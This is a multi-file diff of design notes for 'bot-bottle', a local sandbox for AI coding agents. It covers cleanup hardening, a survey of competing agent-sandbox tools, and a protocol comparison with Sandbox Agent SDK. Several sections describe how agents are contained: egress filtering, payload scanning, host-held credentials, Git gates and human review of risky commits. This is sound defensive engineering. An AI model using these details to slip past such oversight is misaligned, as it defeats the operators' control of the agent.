 or resource allocation must be authoritative at the point of use.
@@ -46,6 +69,8 @@ or resource allocation must be authoritative at the point of use.
  appeared in a pre-confirmation snapshot.
 - Firecracker cleanup proves immediately before action that a PID is still the
  same Firecracker process and that a run directory is still orphaned.
+- Firecracker process discovery reads NUL-delimited argv from `/proc`; paths
+  are never reconstructed from whitespace-delimited process listings.
 - All backend cleanup discovery primitives raise a typed enumeration error on
  operational failure. No backend may independently continue from a partial
  snapshot.
@@ -60,6 +85,22 @@ or resource allocation must be authoritative at the point of use.
  callers because bottles themselves are untrusted.
 - Gateway child-output pumping treats expected stream closure during shutdown
  as completion while preserving diagnostics for unexpected failures.
+- Artifact pull, existence-check, and publication requests use explicit
+  network deadlines.
+- Persisted secrets accept only the authenticated format. The schema migration
+  intentionally clears legacy rows; local agents are reprovisioned rather
+  than retaining a ciphertext-controlled downgrade path.
+- Cleanup executes only resources present in both the displayed and current
+  authoritative plans, attempts every approved mutation, and returns failure
+  when any mutation does not complete.
+- Git request bodies spool to disk behind a separate heavy-work semaphore;
+  cleanup commands have configurable deadlines; Firecracker signalling
+  failures aggregate while identity-verification uncertainty still aborts.
+- The shared database directory and file are private before SQLite writes any
+  control-plane state; an inability to enforce those modes aborts startup.
+- Gateway credential directories and files receive explicit private modes
+  inside the gateway, independent of Docker, Apple Container, or SSH copy
+  semantics.
 - Unit tests cover PID/path reuse, partial backend enumeration, transient
  policy resolution failure, slow bodies, concurrency saturation, and stream
  closure races.
@@ -94,6 +135,13 @@ Backend-specific primitives define how to identify a resource. Firecracker
 uses process start identity plus canonical config/run paths; container
 backends use authoritative CLI queries and stable resource names/labels.

+Container engines expose destructive name-based commands without a portable
+compare-and-delete operation. Cleanup therefore refreshes after confirmation
+and requires every discovery query to succeed, minimizing but not claiming to
+eliminate the final name-reuse race. A future engine-specific stable-ID
+primitive may close that residual window without moving control flow back
+into each backend.
+
 ### Enforcement state versus introspection state

 Egress enforcement retains its deny-all fallback because uncertainty must not
@@ -115,6 +163,17 @@ The gateway output pump catches only stream-closure exceptions expected after
 the supervisor closes child pipes. Other I/O failures remain visible and are
 reported through the supervisor's normal diagnostic channel.

+### Shared filesystem security
+
+The common SQLite store owns database creation for every backend. It creates
+the parent directory and an empty database with private modes before opening
+SQLite, repairs existing modes, verifies the resulting state, and propagates
+every enforcement failure. Backend launchers do not duplicate this policy.
+
+The backend-neutral gateway provisioner likewise applies directory and file
+modes after transport copies complete. This avoids relying on copy behavior
+that differs among Docker, Apple Container, and Firecracker's SSH transport.
+
 ## Implementation chunks

 1. Existing fail-closed security and backend enumeration fixes.
@@ -124,6 +183,14 @@ reported through the supervisor's normal diagnostic channel.
 5. Shared cleanup refresh/revalidation plus authoritative macOS discovery.
 6. Strict supervisor introspection and bounded supervisor/Git HTTP work.
 7. Gateway shutdown log-pump closure handling.
+8. Lossless Firecracker process identities, authoritative Docker cleanup
+   queries, and bounded Firecracker artifact transfers.
+9. Mandatory authenticated secret storage, shared cleanup-plan intersection
+   and mutation accounting, and contained Git backend process failures.
+10. Disk-spooled and separately bounded Git bodies, cleanup command deadlines,
+    and classified Firecracker signalling failures.
+11. Fail-closed shared database creation and backend-neutral gateway credential
+    permissions.

 ## Open questions

@@ -32,9 +32,17 @@ not a principled scope exclusion: both are major hosted sandbox platforms and
 belong in this landscape even though they target platform builders rather than
 bot-bottle's local single-operator workflow.

+Updated 2026-07-27 after a scan of recent Show HN launches: **Black LLAB,
+Eve, CloudRouter, Nucleus, yolo-cage, and Sandbox Agent SDK** added as a
+dated entrant cohort. They sharpen the comparison on three axes the original
+table underweighted: the browser/preview loop, parallel-agent operator UX, and
+a provider-neutral automation/session API.
+
 ## Summary

-The main table compares bot-bottle against fifteen isolation/sandbox tools.
+The main table compares bot-bottle against fifteen canonical
+isolation/sandbox tools; a later section evaluates six recent HN entrants
+without widening an already unwieldy table.
 Governance/pre-action authorization and credential-only layers are covered
 separately because they don't provide VM or container isolation. None
 duplicate bot-bottle's combination of local
@@ -542,6 +550,199 @@ them.
  framework runtime is not compromised.
 - **Maturity**: Specification + reference implementation, 2026.

+## Recent HN entrants (added 2026-07-27)
+
+These are grouped by launch date rather than promoted into the main table.
+Several are young or sparsely documented, and putting them beside mature
+runtime platforms with false precision would obscure the useful comparison.
+The HN launch posts are the evidence snapshot; feature claims should be
+rechecked against their repositories before relying on them for a security
+decision.
+
+### Black LLAB
+
+- **Source**: https://github.com/isaacdear/black-llab ;
+  HN launch https://news.ycombinator.com/item?id=47402394
+- **Isolation/locality**: Local Docker environment, with an isolated container
+  created for each agent task. Shared host kernel; no stronger boundary is
+  claimed.
+- **Agent integration**: General local/cloud model workspace. Its headline is
+  dynamic routing of simple prompts to local models and complex prompts to
+  hosted models, with code execution and web scraping inside the task
+  container.
+- **Network/credentials**: No default-deny egress, payload inspection, or
+  host-side credential injection documented in the launch.
+- **Competitive read**: Superficial overlap ("a container per agent task"),
+  but not a direct security-policy competitor. Its useful challenge is the
+  integrated model-selection UX, which bot-bottle intentionally leaves to the
+  selected agent provider.
+- **Maturity**: Early solo project; HN launch received 1 point.
+
+### Eve
+
+- **Source**: https://eve.new/ ;
+  HN launch https://news.ycombinator.com/item?id=47721255
+- **Isolation/locality**: Managed, hosted Linux sandbox per user/session
+  (claimed 2 vCPU, 4 GB RAM, 10 GB disk), with filesystem, code execution,
+  headless Chromium, and service connectors.
+- **Agent integration**: End-user OpenClaw-style agent product. An orchestrator
+  routes subtasks to specialist models and can run parallel subagents that
+  coordinate through a shared filesystem. Web UI and iMessage are primary
+  interaction surfaces.
+- **Network/credentials**: Broad connectors are a product feature; the launch
+  does not document bot-bottle-style default-deny route policy, content DLP,
+  or credentials held outside the sandbox.
+- **Competitive read**: Adjacent, not direct. Eve sells a managed colleague;
+  bot-bottle lets an operator run existing coding-agent CLIs under local
+  containment. Eve nevertheless demonstrates the appeal of background work,
+  live progress, browser capability, and mobile notification.
+- **Maturity**: Commercial hosted product; HN launch received 71 points and
+  39 comments.
+
+### CloudRouter
+
+- **Source**: https://github.com/manaflow-ai/manaflow/tree/main/packages/cloudrouter ;
+  HN launch https://news.ycombinator.com/item?id=47006393
+- **Isolation/locality**: Claude Code or Codex runs locally and provisions
+  remote cloud VMs/GPUs for execution. Project files are uploaded to the VM;
+  each machine exposes auth-protected VNC, VS Code, and Jupyter surfaces.
+- **Agent integration**: A skill plus CLI lets the coding agent itself start,
+  command, inspect, and tear down machines. Browser automation is integrated,
+  including snapshots and screenshots. Parallel disposable compute is the
+  central workflow.
+- **Network/credentials**: The launch emphasizes remote resource isolation and
+  authenticated UI endpoints, not default-deny guest egress, payload DLP, or
+  proxy-held application credentials.
+- **Competitive read**: The closest recent workflow competitor. It directly
+  addresses parallel coding agents, environmental conflict, and closing the
+  browser/test loop, but trades local custody for elastic cloud compute.
+  Cloud VMs and GPUs could be a future bot-bottle backend; they do not replace
+  its manifest/policy layer.
+- **Maturity**: Active open-source monorepo project; HN launch received
+  138 points and 36 comments.
+
+### Nucleus
+
+- **Source**: https://github.com/coproduct-opensource/nucleus ;
+  HN launch https://news.ycombinator.com/item?id=46855770
+- **Isolation/locality**: Firecracker microVM with an enforcing MCP tool proxy.
+- **Agent integration/config**: Compositional permission envelope for
+  read/write/run actions. The envelope is non-escalating and can tighten or
+  terminate, with scoped approval tokens for gated operations.
+- **Network/credentials**: Default-deny egress, DNS allowlist, iptables drift
+  detection, time/budget caps, and hash-chained audit logging are claimed.
+  Remote append-only audit storage and attestation were roadmap items at
+  launch.
+- **Competitive read**: Direct on security architecture, especially
+  non-escalating policy and tamper-evident audit. It is an early execution/tool
+  proxy rather than a provider-neutral, one-command coding-agent product. Its
+  tool-level action envelope is semantically finer than bot-bottle's network
+  boundary; bot-bottle is stronger on turnkey agent/provider integration,
+  credential custody, Git mediation, and long-running operator workflow.
+- **Maturity**: Early OSS experiment; HN launch received 3 points.
+
+### yolo-cage
+
+- **Source**: https://github.com/borenstein/yolo-cage ;
+  HN launch https://news.ycombinator.com/item?id=46706796
+- **Isolation/locality**: Local sandbox for running multiple coding agents in
+  YOLO mode. The launch discussion describes a VM boundary.
+- **Agent integration**: Built around the native Claude Code experience and
+  motivated by running many agents in parallel without permission-prompt
+  fatigue.
+- **Network/Git/credentials**: Strict egress filtering, configurable HTTP
+  middleware, and mediated `git`/`gh` dispatch are the main value. The launch
+  discussion explicitly identifies provider credential handling as unfinished
+  and difficult because Claude state spans multiple host paths.
+- **Competitive read**: The closest new threat-model competitor. It shares
+  bot-bottle's premise that filesystem isolation alone is insufficient and
+  that Git plus authorized HTTP channels need mediation. bot-bottle currently
+  leads on cross-provider support, proxy-held Claude/Codex/forge credentials,
+  typed per-role manifests, content DLP, and supervision. yolo-cage's simpler
+  pitch and narrower Claude-first setup may be easier to explain.
+- **Maturity**: Early local tool; HN launch received 60 points and 76 comments.
+
+### Sandbox Agent SDK
+
+- **Source**: https://github.com/rivet-dev/sandbox-agent ;
+  HN launch https://news.ycombinator.com/item?id=46795584
+- **Isolation/locality**: Does not provide the isolation primitive. It runs
+  inside E2B, Daytona, Modal, Cloudflare Containers, Agent Computer, BoxLite,
+  Docker, or another sandbox provider. Embedded mode can also run locally
+  without a sandbox.
+- **Agent integration**: Provider-neutral Rust server/SDK exposing a common
+  HTTP/SSE/OpenAPI interface across Claude Code, Codex, OpenCode, Cursor, Amp,
+  and Pi, plus a universal event/session schema for external storage and
+  replay. It also exposes filesystem, managed-process, terminal, MCP, skills,
+  custom-tool, and computer-use APIs. TypeScript is the primary SDK surface.
+- **Network/credentials**: Delegated to the chosen sandbox provider.
+- **Credential posture**: Its documented convenience command extracts real
+  OpenAI/Anthropic credentials from local agent configuration and passes them
+  as environment variables into the sandbox. That is materially weaker than
+  bot-bottle's host-side credential custody, but it is an integration choice,
+  not a structural limitation: a sandbox provider could put a credential
+  proxy underneath the same SDK.
+- **Competitive read**: A serious architectural threat despite not supplying
+  isolation. Sandbox Agent is trying to standardize the boundary *above* the
+  sandbox: one client protocol, session model, and UI/control surface across
+  every coding agent and runtime. If that boundary becomes the ecosystem
+  standard, users and application builders may choose a sandbox provider plus
+  Sandbox Agent rather than a vertically integrated launcher. bot-bottle's
+  manifests would then be valuable chiefly as a local policy/backend
+  implementation unless they expose an equally usable control contract.
+- **Maturity**: Apache 2.0, ~1.5k stars and 426 commits at the 2026-07-27
+  check; HN launch received 41 points.
+
+#### Why the Sandbox Agent architecture is strategically different
+
+The manifest and the universal control protocol solve different layers:
+
+- A bot-bottle manifest is a **trusted launch-time policy composition**. It
+  selects the agent role, isolation backend, image, skills, egress routes,
+  credentials, Git mediation, and supervision policy. Crucially, identity and
+  secret references live on the host side of the trust boundary.
+- Sandbox Agent is a **runtime control and observation protocol**. A remote
+  client creates sessions, sends messages, handles permissions, configures
+  skills/MCP, manipulates files/processes/desktops, and streams normalized
+  events. It deliberately delegates sandbox lifecycle, Git management,
+  storage, network policy, and credential security to other products.
+
+That makes it complementary in a component diagram but competitive in product
+architecture. The layer that becomes the stable integration point tends to own
+the ecosystem. Three plausible threat paths matter:
+
+1. **Standard control plane, interchangeable runtimes.** Applications integrate
+   once with Sandbox Agent and treat E2B, Daytona, BoxLite, Docker, or a future
+   local microVM as replaceable compute. A provider that bundles adequate
+   egress and credential custody makes bot-bottle's end-to-end launcher less
+   necessary.
+2. **Policy grows upward.** Sandbox Agent already configures permissions,
+   skills, MCP, custom tools, filesystem/process access, and computer use. If
+   it adds a declarative, host-verifiable policy document, the overlap with
+   agent/bottle manifests becomes substantial even if enforcement remains
+   delegated.
+3. **UI and session ownership.** Its universal transcript schema, Inspector,
+   React components, event replay, and remote terminal/computer APIs can become
+   the natural basis for desktop, web, and mobile agent managers. bot-bottle's
+   security layer could remain stronger while losing the operator surface and
+   distribution channel.
+
+The counter-position is not to claim that manifests and an API are mutually
+exclusive. The defensible split is:
+
+- bot-bottle owns the trusted policy and enforcement plane outside the agent;
+- a provider-neutral protocol owns agent process control and normalized
+  events; and
+- the operator UI consumes both.
+
+This suggests an explicit compatibility decision rather than parallel,
+accidental protocol design: evaluate running Sandbox Agent inside a bottle and
+exposing it only through the authenticated bot-bottle control plane. If its
+schema is suitable, adopting it could turn a threat into an integration while
+keeping manifests as the higher-trust policy source. If it is unsuitable,
+bot-bottle should still publish a stable provider-neutral session/event API so
+frontends do not depend on Claude/Codex/Pi-specific process behavior.
+
 ## Comparison table

 *Isolation/sandbox tools only. AGT and OAP are governance layers — see their per-project notes above.*
@@ -616,6 +817,70 @@ would be a *backend* bot-bottle could call, not a competitor to its
 manifest layer. endo-familiar is in a different paradigm entirely:
 capability passing rather than kernel boundaries.

+**Recent entrants change two parts of this read.** yolo-cage is closer to the
+actual threat model than agent-safehouse or litterbox: it combines a VM-style
+boundary with mediated Git and filtered HTTP specifically for parallel coding
+agents. Sandbox Agent SDK is the more important strategic entrant even though
+it supplies no isolation. It can become the standard agent-control layer above
+all of these runtimes, including a future bot-bottle backend. CloudRouter is
+the clearest workflow challenge because its browser/desktop/GPU loop makes
+parallel agents visibly more capable, not merely safer.
+
+## Gap evaluation after the 2026-07-27 entrant scan
+
+### Material gaps
+
+1. **A stable provider-neutral control and event protocol.** This is the
+   largest newly visible gap. bot-bottle normalizes launch/provisioning across
+   providers, but an external UI or orchestrator still lacks one documented
+   contract for creating a Claude/Codex/Pi session, sending input, handling
+   permission/supervision events, streaming normalized output, reconnecting,
+   and replaying history. Sandbox Agent SDK addresses exactly this layer and
+   is already portable across many sandbox providers.
+2. **Browser/preview closure.** CloudRouter and Eve make a browser or desktop
+   part of the standard agent environment and expose screenshots/live viewing
+   to the operator. bot-bottle can run dev servers and supports nested
+   containers, but it does not present a first-class browser/computer-use
+   primitive or an auth-protected preview surface. For coding agents expected
+   to verify UI work, this is a real product gap.
+3. **Unified parallel-session operator UX.** Named persistent bottles and
+   supervision provide the substrate, but the recent products make task
+   switching, live progress, notifications, terminal attach, diffs, and
+   session history the product. Security depth will not compensate for a
+   visibly rougher daily loop.
+4. **Normalized transcript persistence and replay.** bot-bottle preserves
+   provider-specific state for resume; it does not expose a provider-neutral
+   event record suitable for audit, replay, analytics, or a web/mobile client.
+   This is both a UX gap and an audit gap.
+
+### Important, but not necessarily bot-bottle features
+
+- **Cloud VM/GPU provisioning.** Valuable for elastic workloads and could be a
+  backend, but it conflicts with the local-custody default and should not
+  displace core policy work.
+- **Automatic model routing.** Black LLAB and Eve sell task-to-model routing.
+  bot-bottle's provider-template boundary can host that choice without making
+  it part of the trusted sandbox policy.
+- **A thousand SaaS connectors.** This broadens capability and blast radius.
+  The bot-bottle-native answer should remain explicit, scoped forge/egress
+  associations rather than connector count as a goal.
+- **SDK-driven sandbox lifecycle as the primary configuration model.** Useful
+  for platform builders, but not a replacement for reviewable, host-owned
+  manifests. A control API and a declarative policy source are compatible;
+  neither should silently become the other.
+
+### Areas where bot-bottle remains ahead
+
+- real provider and forge credentials remain outside the agent process rather
+  than being extracted into its environment;
+- authorized HTTP payloads are scanned, not merely destination-filtered;
+- Git writes traverse a distinct gate with secret scanning and host-held
+  upstream credentials;
+- role policy is host-owned, composable, and separate from untrusted repo
+  content; and
+- local Firecracker/Apple Container execution preserves operator custody
+  without requiring a hosted sandbox platform.
+
 ## Borrowable ideas

 ### Already shipped or otherwise addressed
@@ -642,6 +907,19 @@ capability passing rather than kernel boundaries.

 ### Still worth considering

+- **Sandbox Agent compatibility or an equivalent stable protocol (highest
+  priority):** spike running its server inside a bottle behind bot-bottle's
+  authenticated control plane. Compare its session/event schema, permission
+  model, restore semantics, and provider coverage with current provider
+  adapters. Adopt compatibility if it preserves the host-owned trust boundary;
+  otherwise specify bot-bottle's own stable API before building another UI.
+- **First-class browser/preview loop** (from CloudRouter and Eve): give a
+  bottle an optional browser/computer-use capability plus an operator-visible,
+  authenticated preview/screenshot surface. Treat its network access as part
+  of the bottle policy, not an implicit bypass.
+- **Provider-neutral transcript/event persistence** (from Sandbox Agent SDK):
+  retain enough normalized structure for replay and audit while preserving the
+  provider-native state needed for exact resume.
 - **Live network activity in the supervisor TUI** (from Docker sbx): show
  allowed and blocked connections and let the operator propose policy changes
  from the existing supervision surface.
@@ -652,10 +930,11 @@ capability passing rather than kernel boundaries.
  closer review. This needs a carefully specified trust model before it can be
  more than a heuristic.

-Not worth borrowing: the SDK-first programmatic API style of boxlite /
-microsandbox (cuts against the declarative-manifest stance), and the
-hosted-SaaS dashboard model of tilde.run (cuts against the
-"infrastructure I control" goal).
+Not worth borrowing: SDK-first *policy configuration* as used by boxlite /
+microsandbox (cuts against the reviewable declarative-manifest stance), and
+the hosted-SaaS custody model of tilde.run (cuts against the "infrastructure I
+control" goal). A provider-neutral runtime-control API is a separate concern
+and is worth borrowing.

 ## Publishing and positioning verdict

@@ -679,9 +958,15 @@ bot-bottle remains unusual in combining:
 The practical wedge is “as easy as native yolo, with declarative role policy
 and self-hosted custody,” including scoped access to private LAN/Tailnet
 services that cloud-first runtimes cannot provide without additional network
-plumbing. The main competitive risks are a local wrapper such as claudebox or
-Docker sbx growing a role-manifest layer, and GUI products such as SuperHQ
-adding equivalent policy and audit depth.
+plumbing. The main competitive risks are now:
+
+- a local wrapper such as yolo-cage, claudebox, or Docker sbx growing a
+  role-manifest and credential-custody layer;
+- Sandbox Agent SDK becoming the standard control/session boundary and making
+  the runtime beneath it interchangeable; and
+- GUI products such as SuperHQ or CloudRouter adding equivalent policy and
+  audit depth before bot-bottle closes the browser/preview and
+  parallel-session UX gaps.

 ## Caveats

@@ -6,7 +6,7 @@ Can bot-bottle grow a built-in supervisor — TUI inventory plus PR-feedback rou

 ## Context

-bot-bottle today is a fleet *executor*: `./cli.py start <agent>` brings up one bottle (agent container + pipelock + optional git-gate + optional cred-proxy on a per-bottle internal network), and `cli.py` tears it down when the session ends. There is no inventory view, no idle-detection, no automated reaction to PR or CI events. In parallel use, a human is the supervisor — opening one terminal per bottle, switching between them, and watching upstream PR state by hand.
+bot-bottle today is a fleet *executor*: `bot-bottle start <agent>` brings up one bottle (agent container + pipelock + optional git-gate + optional cred-proxy on a per-bottle internal network), and `cli.py` tears it down when the session ends. There is no inventory view, no idle-detection, no automated reaction to PR or CI events. In parallel use, a human is the supervisor — opening one terminal per bottle, switching between them, and watching upstream PR state by hand.

 A separate survey of the broader ecosystem ([agent control dashboards research, mid-2026](https://gitea.dideric.is/didericis/consilium-research/src/branch/main/developer-workflow/agent-control-dashboards-2026-05-24.md)) sorts dashboards into five tiers (session managers, parallel runners, Kanban boards, mission-control SPAs, observability backends). The earlier first-pass conclusion was that a full SPA tier conflicts with bot-bottle's isolation model. This doc reconsiders the smaller question: a TUI supervisor in the existing Python CLI.

@@ -25,13 +25,13 @@ A supervisor doesn't have to be heavy. A TUI built into the existing Python CLI,

 Three layers, each independently useful, in order of ambition:

-### 1. `./cli.py status` — read-only inventory
+### 1. `bot-bottle status` — read-only inventory

 Reads `docker ps` filtered by a bottle label and tails each bottle's session log. Reports per bottle: name, agent, uptime, last-activity timestamp, token spend if available, associated PR/branch if recorded.

 No new daemons. No new ports. No new credentials. ~100 lines.

-### 2. `./cli.py watch` — TUI over the same data
+### 2. `bot-bottle watch` — TUI over the same data

 Same data as `status`, rendered with auto-refresh and keyboard shortcuts that shell out to the existing `cli.py attach / stop / start` commands.

@@ -39,7 +39,7 @@ Library choice: prefer the stdlib `curses` module to stay stdlib-first; fall bac

 This is the Claude Squad / tmux-agent-status pattern, applied to bottles instead of tmux sessions. The whole category exists *because* a TUI is the lightweight shape that doesn't require what the SPA tier requires.

-### 3. `./cli.py supervise` — PR feedback router
+### 3. `bot-bottle supervise` — PR feedback router

 The optional, more ambitious layer. The bottle manifest gains an optional field:

@@ -49,7 +49,7 @@ pr_watch:
  branch: agent/task-42
 ```

-`./cli.py supervise` polls the named upstream for new review comments and CI failures on `branch`. When one fires, it surfaces as a desktop notification or a flash in the TUI. The human decides what to do with the feedback — there is no autonomous loop that feeds the comment back into a bottle's next prompt (see "Where to be conservative" for why).
+`bot-bottle supervise` polls the named upstream for new review comments and CI failures on `branch`. When one fires, it surfaces as a desktop notification or a flash in the TUI. The human decides what to do with the feedback — there is no autonomous loop that feeds the comment back into a bottle's next prompt (see "Where to be conservative" for why).

 The polling token is a **host** token (the same `GH_PAT` / Gitea token the host already keeps in shell env), not a bottle credential. The supervisor never holds bottle secrets.

@@ -62,7 +62,7 @@ The load-bearing question is whether the supervisor introduces the privileged-ch
 | Reaching into running bottles | Supervisor reads `docker ps` and host-side log files. The host already sees both — Docker is the trust boundary, the supervisor is on the host side of it. |
 | Holding bottle credentials | The polling token is a host token. The supervisor never receives `bottle.cred_proxy.routes` entries; it has no path to them. |
 | Bridging between bottles | The supervisor does not relay state from bottle A to bottle B. It relays *upstream PR state* to a bottle's next prompt — and only if the manifest opts in. |
-| New attack surface | All "control" actions go through `./cli.py start <agent>`, which already enforces the manifest. The supervisor is an automated caller of the existing CLI, not a parallel control plane. |
+| New attack surface | All "control" actions go through `bot-bottle start <agent>`, which already enforces the manifest. The supervisor is an automated caller of the existing CLI, not a parallel control plane. |

 The boundary stays at the bottle wall. The supervisor looks outward at git/PR state and downward at Docker; it does not look *inward* through pipelock.

@@ -13,11 +13,11 @@ What's the cheapest path to that, and where does it bottom out?

 ## What "interact" means

-Today the flow is bimodal. `./cli.py start <agent>` brings the
+Today the flow is bimodal. `bot-bottle start <agent>` brings the
 bottle up and immediately drops you into an interactive
 `docker exec -it bot-bottle-<slug> claude ...` — claude-code
 owns the whole terminal until you Ctrl-D out, at which point the
-bottle tears down. The dashboard (`./cli.py dashboard`) is a
+bottle tears down. The dashboard (`bot-bottle dashboard`) is a
 *separate* invocation that watches across bottles but never
 exposes the claude TUI itself.

@@ -107,7 +107,7 @@ What's not good:

 This is the v1 the project's existing code-shape strongly
 prefers. It clears the bar of "let me talk to claude-code
-without quitting `./cli.py dashboard`."
+without quitting `bot-bottle dashboard`."

 ## Option 2: Embedded emulator

@@ -84,7 +84,7 @@ dangerous changes before they left*.
   (`supervise_gitleaks_allow`, [`git_gate_render.py`](../../bot_bottle/git_gate_render.py)).
   Extend the same flow to **high-risk file classes**: any commit touching
   CI/build/deploy scripts, auth/crypto code, egress config, or
-   adding/changing dependencies → route to `./cli.py supervise`. This is
+   adding/changing dependencies → route to `bot-bottle supervise`. This is
   attribution/policy, not detection, and it's the strongest thing here —
   a human on exactly the temporal-escape surfaces.
 4. **LLM semantic diff-review — the behavioral backstop.** The only
@@ -146,7 +146,7 @@ preserves the bottom-up distribution funnel.
  **governed code-egress review**, not "we resell inference" (the
  monetization notes explicitly warn against reselling compute).
 - **The web-console supervise/review flow — the strongest anchor.** Turn
-  the CLI `./cli.py supervise` approval into a real review surface:
+  the CLI `bot-bottle supervise` approval into a real review surface:
  rendered diff + finding context, approve/reject, **who-approved audit
  trail, RBAC on approvers, mobile/phone-control** (ties to the
  dashboard/vault north star). This is "central enforcement +
@@ -100,7 +100,7 @@ resolver globs each directory.
  becomes file ops (mkdir, mv, rm) instead of editing one file.
  Power users prefer that; new users may not.
 - Discovery requires `ls`, not "grep one file." Tooling helps
-  (e.g. `./cli.py list`) but the manifest is no longer a single
+  (e.g. `bot-bottle list`) but the manifest is no longer a single
  artifact to email or ship.
 - Atomicity: swapping a bottle name across agents touches
  multiple files. Git handles this fine; a one-shot text editor
@@ -364,7 +364,7 @@ wins; none of the body-prose or dependency story.
  warns / ignores / breaks. If it warns, we'd want a different
  field name (e.g. `bot-bottle-bottle`) or a namespaced block.
 - **Migration story.** Is the project willing to ship a one-shot
-  `./cli.py migrate-manifest` command that does the JSON → MD
+  `bot-bottle migrate-manifest` command that does the JSON → MD
  conversion? Or do users just rewrite by hand from the new docs?
 - **Bottle file body content.** If most bottle .md files have an
  empty body, is the MD-with-frontmatter format still warranted?
@@ -34,7 +34,7 @@ on top of working onboarding.

 A first-time user today goes through five steps: install Docker,
 install `uv`, set `BOT_BOTTLE_CLAUDE_OAUTH_TOKEN`, write
-`bot-bottle.json`, run `./cli.py start`. One of those is
+`bot-bottle.json`, run `bot-bottle start`. One of those is
 "author a JSON manifest." Polished tools in this category let
 users skip that step on day one. The fix is an `init` subcommand
 that drops a working `bot-bottle.json` with a default `coder`
@@ -131,7 +131,7 @@ The minimum-viable workflow, no bot-bottle code changes:
 3. SSH in.
 4. `git clone` bot-bottle on the VM, drop a manifest in place,
   inject `BOT_BOTTLE_CLAUDE_OAUTH_TOKEN` via the provider's secrets path.
-5. `./cli.py start <agent>` — the existing launcher handles the rest.
+5. `bot-bottle start <agent>` — the existing launcher handles the rest.
 6. On exit: destroy the VM. No host artifacts persist.

 For the "VPN pivot" failure mode, see
@@ -0,0 +1,536 @@
+# Sandbox Agent SDK and bot-bottle: protocol versus product
+
+This note asks whether [Sandbox Agent SDK](https://github.com/rivet-dev/sandbox-agent)
+and bot-bottle compete for the same architectural layer, whether bot-bottle
+can productize the turnkey ecosystem/DX layer above it, and how far the
+Docker/OCI analogy actually holds.
+
+Research conducted 2026-07-27. Sandbox Agent SDK was at the `0.4.x` line,
+Apache 2.0, and documented support for Claude Code, Codex, OpenCode, Cursor,
+Amp, and Pi at the time of review.
+
+## Summary
+
+**The projects are complementary at the component boundary and competitive at
+the product boundary.** Sandbox Agent SDK normalizes how software controls a
+coding-agent process inside an arbitrary sandbox. bot-bottle decides what
+sandbox to create, what trusted role and policy it receives, how credentials
+and Git access cross the boundary, how traffic is constrained, and how an
+operator launches and supervises the result.
+
+The Docker analogy is useful with one correction:
+
+- Sandbox Agent SDK is not equivalent to Linux container APIs or OCI itself.
+  It is closer to a **containerd shim plus a portable exec/session API for
+  coding agents**. It adapts incompatible agent processes to one HTTP/SSE
+  contract.
+- A future independent agent-session specification would be the closer OCI
+  analogue.
+- bot-bottle can credibly occupy the **Docker Engine / Compose / Desktop**
+  layer: packaging, policy composition, lifecycle, networking, credentials,
+  storage, operator UX, and a one-command experience above interchangeable
+  agent adapters and isolation runtimes.
+
+That is a viable position, but “turnkey wrapper” undersells it. A thin wrapper
+is replaceable. The valuable product is a **turnkey, policy-first coding-agent
+runtime** whose manifest compiles trusted operator intent into multiple
+enforcement planes. Sandbox Agent SDK may be one internal process-control
+component of that product.
+
+The recommended direction is:
+
+1. Keep the bot-bottle manifest as the host-owned source of trusted policy.
+2. Spike Sandbox Agent SDK as the in-bottle provider/session adapter.
+3. Expose a stable, provider-neutral bot-bottle control API, compatible with
+   Sandbox Agent where practical.
+4. Keep security decisions and authoritative audit outside the sandbox.
+5. Build the ecosystem around policy packs, agent images, skills, backends,
+   operator UI, and trusted integrations—not around a proprietary transcript
+   protocol.
+
+## What each project is today
+
+### Sandbox Agent SDK
+
+Sandbox Agent is a Rust server that runs alongside the coding agent. A client
+connects over HTTP, streams events over SSE, and uses one API across agent
+implementations. Its documented surface includes:
+
+- creating and restoring agent sessions;
+- sending messages and streaming normalized events;
+- handling permissions;
+- configuring MCP servers, skills, and custom tools;
+- filesystem and managed-process APIs;
+- interactive terminal access;
+- computer-use/desktop operations;
+- a universal session/transcript schema;
+- an Inspector UI, React components, CLI, TypeScript SDK, and OpenAPI spec.
+
+It can run in embedded mode or inside E2B, Daytona, Modal, Cloudflare
+Containers, Agent Computer, BoxLite, Docker, and other environments. It
+explicitly leaves these concerns to the caller or sandbox provider:
+
+- sandbox creation and lifecycle;
+- Git repository management;
+- durable session storage;
+- network policy;
+- isolation strength; and
+- secure credential delivery.
+
+Its documented credential convenience path extracts real provider credentials
+from local agent configuration and passes them into the sandbox environment.
+That is convenient but is not an acceptable security boundary for bot-bottle.
+
+Sources:
+
+- [Sandbox Agent repository and architecture](https://github.com/rivet-dev/sandbox-agent)
+- [Sandbox Agent documentation](https://sandboxagent.dev/docs)
+- [HTTP API](https://sandboxagent.dev/docs/api-reference)
+- [Universal session/transcript schema](https://sandboxagent.dev/docs/session-transcript-schema)
+
+### bot-bottle
+
+bot-bottle is a host-side launch, policy, and enforcement system for existing
+coding-agent CLIs. Its current architecture includes:
+
+- agent and bottle manifests with composition via `extends:`;
+- a host-only trust boundary for roles, identity, and secret references;
+- provider templates and plugins for Claude Code, Codex, Pi, and custom
+  providers;
+- Firecracker on KVM Linux and Apple Container on macOS, with Docker fallback;
+- image construction and provider-specific provisioning;
+- default-deny inspected egress with path/method/header policy;
+- payload DLP on authorized channels;
+- real credentials held outside the agent and injected by the gateway;
+- Git mediation, upstream credential custody, and gitleaks scanning;
+- a per-host authenticated orchestrator and shared gateway;
+- named bottle lifecycle, resume, supervision, and audit state; and
+- a CLI/TUI intended to make full-permission agents operationally tolerable.
+
+The provider layer currently normalizes launch-time concerns—command, image,
+prompt delivery, files, skills, environment, verification, and provider-owned
+egress routes. It does **not** yet expose a stable provider-neutral runtime
+contract for sessions, messages, transcripts, terminals, or normalized events.
+That is the gap Sandbox Agent directly illuminates.
+
+Sources in this repository:
+
+- [`README.md`](../../README.md)
+- [`0070-per-host-orchestrator.md`](../prds/0070-per-host-orchestrator.md)
+- [`0026-agent-provider-templates.md`](../prds/0026-agent-provider-templates.md)
+- [`0053-user-provider-plugins.md`](../prds/0053-user-provider-plugins.md)
+- [`agent_provider.py`](../../bot_bottle/agent_provider.py)
+
+## The layer model
+
+The cleanest architecture has four layers:
+
+| Layer | Responsibility | Likely owner |
+|---|---|---|
+| Operator product | Install, select a role, launch, observe, intervene, resume, review changes | bot-bottle |
+| Trusted policy and lifecycle | Compose manifest, choose backend/image, hold credentials, enforce egress/Git, persist authoritative audit | bot-bottle |
+| Agent control protocol | Start provider process, create session, send input, stream normalized events, terminal/computer operations | Sandbox Agent or a compatible protocol |
